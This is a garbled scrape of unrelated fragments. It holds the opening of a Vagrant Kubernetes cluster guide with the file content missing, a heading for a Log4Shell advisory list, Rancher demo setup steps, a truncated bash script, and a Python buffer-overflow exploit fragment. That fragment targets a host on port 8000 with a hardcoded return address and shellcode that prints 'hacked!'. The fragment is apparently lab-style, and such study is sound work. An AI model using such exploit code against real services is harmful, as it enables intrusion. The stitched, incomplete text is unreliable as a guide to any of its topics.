leaderdevops

3 Virtual Machines Kubernetes cluster

Dependencies

You should install VirtualBox and Vagrant before you start.

Creating the cluster

You should create a Vagrantfile in an empty directory with the following content:

Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

If you want to add a link, comment or send it to me
Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great ressources

Royce Williams list is different, listed by vendors responses:
https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
TBD

Rancher & NGINX Ingress Controller - Demo

Demo Prep

To prep for the demo environment begin by logging into the "dev" system using the Console (Access > Console)

Open the Firefox browser
Click on the link for the Rancher manager if it does not pop up as the default site.
Log in using the username and password from the Documentation tab in UDF, this should be pre-populated.
Open a Visual Studio Code (VSCode) instance

Open a series of terminal windows using Visual Studio Code (VSCode). From the right set of controls, you should have five terminal sessions total as seen below.

	#!/bin/bash

	########################################
	##### USE THIS WITH AMAZON LINUX 2 #####
	########################################

	# get admin privileges
	sudo su

	# install httpd (Linux 2 version)

	import httplib

	host = "172.16.89.128"
	port = 8000

	buffer_addr = "\x98\xF1\xFF\xBF" # 0xbffff198
	payload = """
	\xEB\x19\x31\xC0\x31\xDB\x31\xD2\x31\xC9\xB0\x04\xB3
	\x01\x59\xB2\x07\xCD\x80\x31\xC0\xB0\x01\x31\xDB\xCD
	\x80\xE8\xE2\xFF\xFF\xFF\x68\x61\x63\x6B\x65\x64\x21